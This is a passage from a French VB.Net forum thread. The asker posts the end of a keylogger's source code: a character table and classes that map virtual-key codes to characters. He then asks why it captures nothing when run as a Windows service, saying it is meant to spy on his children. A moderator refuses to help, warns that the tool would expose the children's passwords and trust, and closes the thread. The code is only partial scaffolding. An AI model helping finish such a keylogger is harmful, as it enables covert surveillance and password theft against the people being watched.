{"0120", "x"}, {"0121", "y"}, {"0122", "z"}, {"0123", "{"}, {"0124", "|"}, {"0125", "}"}, {"0126", "~"}, {"0127", ""}, _
{"0128", "€"}, {"0129", ""}, {"0130", "‚"}, {"0131", "ƒ"}, {"0132", "„"}, {"0133", "…"}, {"0134", "†"}, {"0135", "‡"}, _
{"0136", "ˆ"}, {"0137", "‰"}, {"0138", "Š"}, {"0139", "‹"}, {"0140", "Œ"}, {"0141", ""}, {"0142", "Ž"}, {"0143", ""}, _
{"0144", ""}, {"0145", "‘"}, {"0146", "’"}, {"0147", """"}, {"148", """"}, {"0149", "•"}, {"0150", "–"}, {"0151", "—"}, _
{"0152", "˜˜"}, {"0153", "™"}, {"0154", "š"}, {"0155", "›"}, {"0156", "œ"}, {"0157", ""}, {"0158", "ž"}, {"0159", "Ÿ"}, _
{"0160", " "}, {"0161", "¡"}, {"0162", "¢"}, {"0163", "£"}, {"0164", "¤"}, {"0165", "¥"}, {"0166", "¦"}, {"0167", "§"}, _
{"0168", "¨"}, {"0169", "©"}, {"0170", "ª"}, {"0171", "«"}, {"0172", "¬"}, {"0173", "­"}, {"0174", "®"}, {"0175", "¯"}, _
{"0176", "°"}, {"0177", "±"}, {"0178", "²"}, {"0179", "³"}, {"0180", "´"}, {"0181", "µ"}, {"0182", "¶"}, {"0183", "·"}, _
{"0184", "¸"}, {"0185", "¹"}, {"0186", "º"}, {"0187", "»"}, {"0188", "¼"}, {"0189", "½"}, {"0190", "¾"}, {"0191", "¿"}, _
{"0192", "À"}, {"0193", "Á"}, {"0194", "Â"}, {"0195", "Ã"}, {"0196", "Ä"}, {"0197", "Å"}, {"0198", "Æ"}, {"0199", "Ç"}, _
{"0200", "È"}, {"0201", "É"}, {"0202", "Ê"}, {"0203", "Ë"}, {"0204", "Ì"}, {"0205", "Í"}, {"0206", "Î"}, {"0207", "Ï"}, _
{"0208", "Ð"}, {"0209", "Ñ"}, {"0210", "Ò"}, {"0211", "Ó"}, {"0212", "Ô"}, {"0213", "Õ"}, {"0214", "Ö"}, {"0215", "×"}, _
{"0216", "Ø"}, {"0217", "Ù"}, {"0218", "Ú"}, {"0219", "Û"}, {"0220", "Ü"}, {"0221", "Ý"}, {"0222", "Þ"}, {"0223", "ß"}, _
{"0224", "à"}, {"0225", "á"}, {"0226", "â"}, {"0227", "ã"}, {"0228", "ä"}, {"0229", "å"}, {"0230", "æ"}, {"0231", "ç"}, _
{"0232", "è"}, {"0233", "é"}, {"0234", "ê"}, {"0235", "ë"}, {"0236", "ì"}, {"0237", "í"}, {"0238", "î"}, {"0239", "ï"}, _
{"0240", "ð"}, {"0241", "ñ"}, {"0242", "ò"}, {"0243", "ó"}, {"0244", "ô"}, {"0245", "õ"}, {"0246", "ö"}, {"0247", "÷"}, _
{"0248", "ø"}, {"0249", "ù"}, {"0250", "ú"}, {"0251", "û"}, {"0252", "ü"}, {"0253", "ý"}, {"0254", "þ"}, {"0255", "ÿ"}}
#End Region

#Region "Classes Vk codes"

Private Class KeyCode
Private _kCode As Integer
Private _kShft As String
Private _kBase As String
Private _kCtrl As String
Private _kAlt As String
Private _kWin As String
Private _kAltGr As String
Private _kWinShft As String
Private _kWinCtrl As String
Private _kAltShft As String
Private _kAltCtrl As String
Private _kAccTrans As Integer

Public Property Code() As Integer
Get
Code = _kCode
End Get
Set(ByVal value As Integer)
_kCode = value
End Set
End Property
Public Property Ret_Shft() As String
Get
Ret_Shft = _kShft
End Get
Set(ByVal value As String)
_kShft = value
End Set
End Property
Public Property Ret_Base() As String
Get
Ret_Base = _kBase
End Get
Set(ByVal value As String)
_kBase = value
End Set
End Property
Public Property Ret_Ctrl() As String
Get
Ret_Ctrl = _kCtrl
End Get
Set(ByVal value As String)
_kCtrl = value
End Set
End Property
Public Property Ret_Alt() As String
Get
Ret_Alt = _kAlt
End Get
Set(ByVal value As String)
_kAlt = value
End Set
End Property
Public Property Ret_Win() As String
Get
Ret_Win = _kWin
End Get
Set(ByVal value As String)
_kWin = value
End Set
End Property
Public Property Ret_AltGr() As String
Get
Ret_AltGr = _kAltGr
End Get
Set(ByVal value As String)
_kAltGr = value
End Set
End Property
Public Property Ret_WinShft() As String
Get
Ret_WinShft = _kWinShft
End Get
Set(ByVal value As String)
_kWinShft = value
End Set
End Property
Public Property Ret_WinCtrl() As String
Get
Ret_WinCtrl = _kWinCtrl
End Get
Set(ByVal value As String)
_kWinCtrl = value
End Set
End Property
Public Property Ret_AltShft() As String
Get
Ret_AltShft = _kAltShft
End Get
Set(ByVal value As String)
_kAltShft = value
End Set
End Property
Public Property Ret_AccTrans() As Integer
Get
Ret_AccTrans = _kAccTrans
End Get
Set(ByVal value As Integer)
_kAccTrans = value
End Set
End Property

Public Sub New(ByVal kCode As Integer, _
Optional ByVal kBase As String = "", _
Optional ByVal kShft As String = "", _
Optional ByVal kCtrl As String = "", _
Optional ByVal kAlt As String = "", _
Optional ByVal kWin As String = "", _
Optional ByVal kAltGr As String = "", _
Optional ByVal kWinShft As String = "", _
Optional ByVal kWinCtrl As String = "", _
Optional ByVal kAltShft As String = "", _
Optional ByVal kAccTrans As Integer = 0)
Code = kCode
Ret_Shft = kShft
Ret_Base = kBase
Ret_Ctrl = kCtrl
Ret_Alt = kAlt
Ret_Win = kWin
Ret_AltGr = kAltGr
Ret_WinShft = kWinShft
Ret_WinCtrl = kWinCtrl
Ret_AltShft = kAltShft
Ret_AccTrans = kAccTrans
End Sub
End Class

Private Class Keycodes
Private Shadows Table As ArrayList

Public Sub New()
Table = New ArrayList()
End Sub

Public Function Add(ByVal Code As Integer, _
Optional ByVal Ret_Base As String = "", _
Optional ByVal Ret_Shft As String = "", _
Optional ByVal Ret_Ctrl As String = "", _
Optional ByVal Ret_AltGr As String = "", _
Optional ByVal Ret_Alt As String = "", _
Optional ByVal Ret_Win As String = "", _
Optional ByVal Ret_WinShft As String = "", _
Optional ByVal Ret_WinCtrl As String = "", _
Optional ByVal Ret_AltShft As String = "", _
Optional ByVal Ret_AccTrans As Integer = 0) As KeyCode
Dim unKeyCode As New KeyCode(Code, Ret_Base, Ret_Shft, Ret_Ctrl, Ret_Alt, Ret_Win, Ret_AltGr, Ret_WinShft, Ret_WinCtrl, Ret_AltShft, Ret_AccTrans)
Table.Add(unKeyCode)
Add = unKeyCode
End Function

Public ReadOnly Property Item(ByVal lIndex As Integer) As KeyCode
Get
Item = (CType(Table.Item(lIndex), KeyCode))
End Get
End Property
End Class
#End Region

End Class


Afficher la suite 

7 réponses

Messages postés
18039
Date d'inscription
lundi 7 décembre 2009
Statut
Modérateur
Dernière intervention
11 avril 2018
212
0
Merci
Bonjour,
je n'aide généralement jamais à résoudre des problèmes concernant des "Keyloggers".
Je vais donc me contenter de te rappeler les points suivants :
- un service Windows fonctionne avec son propre DeskTop, qui n'est pas celui de chacun des utilisateurs (y compris si un seul utilisateur)
- cet aspect n'est pas un aspect VB.Net, mais un aspect Windows.
un peu de lecture ? ===>>>
https://groups.google.com/forum/#!topic/borland.public.delphi.nativeapi.win32/fMT9yQpopUg
Messages postés
1247
Date d'inscription
mardi 7 mai 2002
Statut
Membre
Dernière intervention
18 février 2019
3
0
Merci
merci je vais chercher un peu
C'est effectivement un keylogger mais a usage perso (enfants) lol
Messages postés
18039
Date d'inscription
lundi 7 décembre 2009
Statut
Modérateur
Dernière intervention
11 avril 2018
212
0
Merci
Pour tes enfants ?
Mets donc dans ce cas un programme tournant en tâche de fond sur chacun de leurs comptes.
Et prie pour qu'ils ne s'en rendent pas compte un jour (même beaucoup plus tard). Ils ne te le pardonneraient pas ! Et tu perdras définitivement leur confiance.
Tu fouilles également dans leurs "carnets intimes" ?

EDIT : aies au moins l'honnêteté de leur dire que tu as installé un tel "piège" sur cette machine et que cet espion est tel que tu connaîtras également tous leurs mots de passe, etc ... . Ils choisiront alors très certainement de ne plus utiliser cette machine .


________________________
Nul ne saurait valablement coder ce qu'il ne saurait exposer clairement.
Messages postés
1247
Date d'inscription
mardi 7 mai 2002
Statut
Membre
Dernière intervention
18 février 2019
3
0
Merci
UCFOUTU je te reconnais la lol reaction toujours aussi piquante !!
Sache que ton avis sur la question ne regarde que toi !!!
chaque situation familiale est différente!!!!
Donc je n'expliquerais pas plus sur les raisons pour lesquelles je veux développer ce service.
Mais je tiens quand même a dire poliment : Qui est tu pour te permettre de juger sans connaître les gens et les situations ? DIEU certainement !!!!

Et a ce que je sache utiliser un hook clavier n est pas illégal ? surtout sous son toit ??? non ???

Bon sinon je reprend le fil de ma demande , si j'ai bien compris il doit fonctionner : compte system local et interagir avec le bureau.
Mais ca ne donne rien.

Si quelqu'un a une piste, je suis preneur.


Messages postés
18039
Date d'inscription
lundi 7 décembre 2009
Statut
Modérateur
Dernière intervention
11 avril 2018
212
0
Merci
Bien, donc...
Bonne chance (et ce sera sans moi et sans le mien, d' "esprit de famille")

________________________
Nul ne saurait valablement coder ce qu'il ne saurait exposer clairement.
0
Merci
Ok mais à l avenir ne répond pas à la demande on perd tous notre temp!!!
Messages postés
18039
Date d'inscription
lundi 7 décembre 2009
Statut
Modérateur
Dernière intervention
11 avril 2018
212
-1
Merci
- J'en prends acte (je ne participerai plus jamais à l'une des discussions que tu ouvrirais).
- je ferme déjà la présente, juste pour tout ce que pourrait impliquer un tel mécanisme espion. Et bien que tu clames que c'est juste pour "surveiller" tes enfants.
Si un autre modérateur veut, lui, ouvrir à nouveau cette discussion, il le pourra.